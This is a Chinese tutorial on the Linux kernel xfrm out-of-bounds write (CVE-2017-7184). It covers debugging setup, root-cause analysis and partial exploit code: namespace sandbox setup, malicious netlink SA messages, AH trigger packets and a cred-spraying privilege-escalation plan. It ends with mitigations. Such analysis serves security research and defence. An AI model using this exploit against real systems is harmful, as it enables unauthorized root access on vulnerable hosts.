Linux xfrm模块越界读写提权漏洞分析(CVE-2017-7184)
字数 1088 2025-08-29 08:31:48
Linux xfrm模块越界读写提权漏洞分析(CVE-2017-7184)教学文档
漏洞概述
CVE-2017-7184是Linux内核xfrm模块中的一个越界读写漏洞,存在于xfrm_replay_state_esn结构体的处理过程中。该漏洞允许本地攻击者通过精心构造的netlink消息和AH协议数据包,实现越界内存读写,最终可能导致权限提升。
漏洞环境搭建
调试环境配置
-
调试机(Debugging)配置:
- 安装带符号表的vmlinux:
codename=$(lsb_release -c | awk '{print $2}') sudo tee /etc/apt/sources.list.d/ddebs.list << EOF deb http://ddebs.ubuntu.com/ ${codename} main restricted universe multiverse deb http://ddebs.ubuntu.com/ ${codename}-security main restricted universe multiverse deb http://ddebs.ubuntu.com/ ${codename}-updates main restricted universe multiverse deb http://ddebs.ubuntu.com/ ${codename}-proposed main restricted universe multiverse EOF wget -O - http://ddebs.ubuntu.com/dbgsym-release-key.asc | sudo apt-key add - sudo apt-get update sudo apt-get install linux-image-4.4.0-21-generic-dbgsym -
被调试机(Debuggee)配置:
- 编辑/etc/grub.d/40_custom添加KGDB启动项
- 配置串口通信
双机调试脚本
gdb \
-ex "add-auto-load-safe-path $(pwd)" \
-ex "file /usr/lib/debug/boot/vmlinux-4.4.0-21-generic" \
-ex 'set arch i386:x86-64:intel' \
-ex 'target remote /dev/ttyS0' \
-ex 'continue' \
-ex 'disconnect' \
-ex 'set arch i386:x86-64' \
-ex 'target remote /dev/ttyS0'
漏洞分析
关键数据结构
-
xfrm_state结构体:
struct xfrm_state { // ...其他成员... struct xfrm_replay_state_esn *replay_esn; struct xfrm_replay_state_esn *preplay_esn; const struct xfrm_replay *repl; // ...其他成员... }; -
xfrm_replay_state_esn结构体:
struct xfrm_replay_state_esn { unsigned int bmp_len; __u32 oseq; __u32 seq; __u32 oseq_hi; __u32 seq_hi; __u32 replay_window; __u32 bmp[0]; };
漏洞根源
漏洞存在于xfrm_replay_advance_esn函数中,当更新replay状态时,没有正确验证replay_window参数,导致可以越界读写内存:
static void xfrm_replay_advance_esn(struct xfrm_state *x, __be32 net_seq) {
// ...
if (diff < replay_esn->replay_window) {
for (i = 1; i < diff; i++) {
bitnr = (pos + i) % replay_esn->replay_window;
nr = bitnr >> 5;
bitnr = bitnr & 0x1F;
replay_esn->bmp[nr] &= ~(1U << bitnr); // 越界写
}
} else {
nr = (replay_esn->replay_window - 1) >> 5;
for (i = 0; i <= nr; i++)
replay_esn->bmp[i] = 0; // 越界写
}
// ...
replay_esn->bmp[nr] |= (1U << bitnr); // 越界写
}
漏洞触发路径
- 通过netlink的
XFRM_MSG_NEWSA消息创建xfrm_state - 通过
XFRM_MSG_NEWAE消息修改replay_esn参数 - 发送特制的AH协议数据包触发漏洞
漏洞利用
利用思路
-
内存布局控制:
- 通过设置
bmp_len使xfrm_replay_state_esn结构体大小为192字节以内 - 利用fork喷射大量cred结构体,使其与漏洞结构体相邻
- 通过设置
-
权限提升:
- 利用越界写将相邻cred结构体中的uid/gid等字段置零
- 通过反弹shell获取root权限
利用代码关键部分
- 设置sandbox绕过权限限制:
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
// ...其他设置...
}
- 构造恶意SA:
int xfrm_add_sa(int sock,int spi,int bmp_len) {
// ...初始化消息头...
struct xfrm_usersa_info xui;
memset(&xui,0,sizeof(xui));
xui.family = AF_INET;
xui.id.proto = IPPROTO_AH;
xui.id.spi = spi;
xui.id.daddr.a4 = inet_addr("127.0.0.1");
xui.lft.hard_byte_limit = 0x10000000;
xui.lft.hard_packet_limit = 0x10000000;
xui.lft.soft_byte_limit = 0x1000;
xui.lft.soft_packet_limit = 0x1000;
xui.mode = XFRM_MODE_TRANSPORT;
xui.flags = XFRM_STATE_ESN;
memcpy(data,&xui,sizeof(xui));
// ...添加其他必要属性...
struct xfrm_replay_state_esn rs;
memset(&nla, 0, sizeof(nla));
nla.nla_len = sizeof(nla)+sizeof(rs) +bmp_len*8*4;
nla.nla_type = XFRMA_REPLAY_ESN_VAL;
rs.replay_window = bmp_len;
rs.bmp_len = bmp_len;
memcpy(data,&nla,sizeof(nla));
data += sizeof(nla);
memcpy(data, &rs, sizeof(rs));
data += sizeof(rs);
memset(data,'1',bmp_len*4*8);
// ...发送消息...
}
- 修改SA参数触发漏洞:
int xfrm_new_ae(int sock,int spi,int bmp_len,int evil_windows,int seq,int seq_hi) {
// ...初始化消息头...
struct xfrm_aevent_id xai;
memset(&xai,0,sizeof(xai));
xai.sa_id.proto = IPPROTO_AH;
xai.sa_id.family = AF_INET;
xai.sa_id.spi = spi;
xai.sa_id.daddr.a4 = inet_addr("127.0.0.1");
// ...设置恶意参数...
struct xfrm_replay_state_esn rs;
memset(&nla, 0, sizeof(nla));
nla.nla_len = sizeof(nla)+sizeof(rs) +bmp_len*8*4;
nla.nla_type = XFRMA_REPLAY_ESN_VAL;
rs.replay_window = evil_windows; // 关键恶意参数
rs.bmp_len = bmp_len;
rs.seq_hi = seq_hi;
rs.seq = seq;
// ...发送消息...
}
- 发送触发包:
int sendah(int sock,int spi,int seq ) {
struct sockaddr_in sai;
struct ip_auth_hdr ah;
// ...初始化...
ah.spi = spi;
ah.nexthdr = 1;
ah.seq_no = seq;
ah.hdrlen = (0x10 >> 2) - 2;
// ...发送数据包...
}
防护措施
- 更新到修复该漏洞的内核版本
- 限制非特权用户使用netlink套接字
- 启用内核地址空间布局随机化(KASLR)
- 启用SMAP/SMEP保护
参考资源
- Linux内核源码:https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm
- Netlink编程指南:http://www.man7.org/linux/man-pages/man7/netlink.7.html
- 双机调试教程:http://blog.chinaunix.net/uid-26675482-id-3255770.html
本教学文档详细分析了CVE-2017-7184漏洞的技术细节和利用方法,仅供安全研究和防御参考。请勿用于非法用途。